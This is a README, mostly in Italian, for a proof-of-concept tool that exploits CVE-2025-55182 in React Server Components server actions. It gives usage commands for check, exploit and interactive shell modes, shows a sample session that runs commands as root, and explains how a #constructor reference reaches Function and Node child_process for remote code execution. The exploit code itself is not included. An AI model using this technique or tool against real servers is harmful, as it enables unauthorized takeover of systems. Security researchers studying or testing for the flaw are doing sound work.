
Poc per CVE-2025-55182
PoC per CVE-2025-55182
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'utilizzo di questo strumento per attaccare bersagli senza previo consenso reciproco è illegale. Lo sviluppatore non si assume alcuna responsabilità e non è responsabile per qualsiasi uso improprio o danno causato da questo programma.
pip install requests
Puoi eseguire lo strumento in tre modalità: Check, Exploit o Shell interattiva.
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
Il Check: invia una richiesta multipart definendo {} all'indice 1 e tenta di accedere a ["$1🅰️a"]. I server non patchati vanno in crash (HTTP 500) tentando di accedere alla proprietà a di undefined. I server patchati rispondono con HTTP 200.
L'Exploit: invia una richiesta multipart che fa riferimento all'Action ID valido, ma aggiunge #constructor. Questo inganna il serializzatore facendogli restituire il costruttore Function, permettendoci di passare JavaScript arbitrario (child_process di Node.js) da eseguire sul server.